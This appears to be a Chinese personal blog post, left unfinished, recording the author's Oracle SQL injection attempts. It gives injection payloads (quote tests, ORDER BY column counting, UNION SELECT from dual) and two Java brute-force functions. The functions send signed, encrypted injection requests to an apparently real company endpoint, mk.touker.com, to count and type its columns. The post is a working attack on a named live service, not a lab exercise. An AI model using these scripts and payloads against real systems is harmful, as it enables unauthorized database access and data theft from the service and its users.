oracle数据库sql

oracle 注入过程

准备

耐心
过程

1
2
3
4
1、注入字段数量
2、爆破字段
3、判断字段类型
4、爆破表

oracle注入

简单尝试

sq === 1'
如果报错存在sql注入
sq === 1' --
正常运行
sq === 1' and 1=1 --
报错(可能过滤了=)
sq === 1' and 1 like 1 --
正常运行

注入字段数量

sq === 1' order by 22 --
正常运行
sq === 1' order by 23 --
报错(说明有22个字段)

但是,有时候会不对,不懂。猜测是当前表,而不是dual表
爆破dual字段数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void bp_zhiduan() throws Exception {
String url = "https://mk.touker.com/ServiceAction/com.clientIdSynch.action.ClientIdSynchAction";
String Param = "";
String res = "";
String tag = "NULL,";
for (int i=1;i<50;i++)
{
String sq ="1' and 1 like 2 union select ";
for (int j=0;j<i;j++)
{
sq += tag;
}
sq += "NULL from dual --";
String sql = "step=getPhoto&id="+sq+"&ts=1536721186116";
String appSign = DigestUtils.sha1Hex(sql).toUpperCase();
Param = "_appSign_="+ appSign +"&_appCrypt_="+ URLEncoder.encode(encryptToBase64(sql,cryptKey),"utf-8");
res = HttpRequest.sendPost(url, Param);
JSONObject jsonRoot = JSONObject.fromObject(res);
if(jsonRoot.getString("errorMsg").contains("StatementCallback"))
{
;
}else{
System.out.println(jsonRoot);
System.out.println(i+1);
}
}
}

判断字段类型

可以手动一个一个试,但是字段多了就不容易了。
这里写了一个简单的爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void bp_leixun(int n) throws Exception {
String url = "https://mk.touker.com/ServiceAction/com.clientIdSynch.action.ClientIdSynchAction";
String Param = "";
String res = "";
String tag = "NULL,";
StringBuffer buf=new StringBuffer();
for (int i=0;i<n;i++)
{
String sq ="1' and 1 like 2 union select ";
if(i==n) {
for (int k = 0; k < i-1; k++) {
sq += tag;
}
}else{
for (int k = 0; k < i; k++) {
sq += tag;
}
}
sq += 1 ;
sq += "," ;
for (int j=i;j<n-1;j++)
{
sq += tag;
}
sq += "NULL from dual --";
String sql = "step=getPhoto&id="+sq+"&ts=1536721186116";
String appSign = DigestUtils.sha1Hex(sql).toUpperCase();
Param = "_appSign_="+ appSign +"&_appCrypt_="+ URLEncoder.encode(encryptToBase64(sql,cryptKey),"utf-8");
res = HttpRequest.sendPost(url, Param);
JSONObject jsonRoot = JSONObject.fromObject(res);
if(jsonRoot.getString("errorMsg").contains("StatementCallback"))
{
;buf.append("s");
}else{
buf.append(1);
}
}
System.out.println(buf);
}

接着

还没有学会,学会来在来更新吧!

Donate
-------------本文结束感谢您的阅读-------------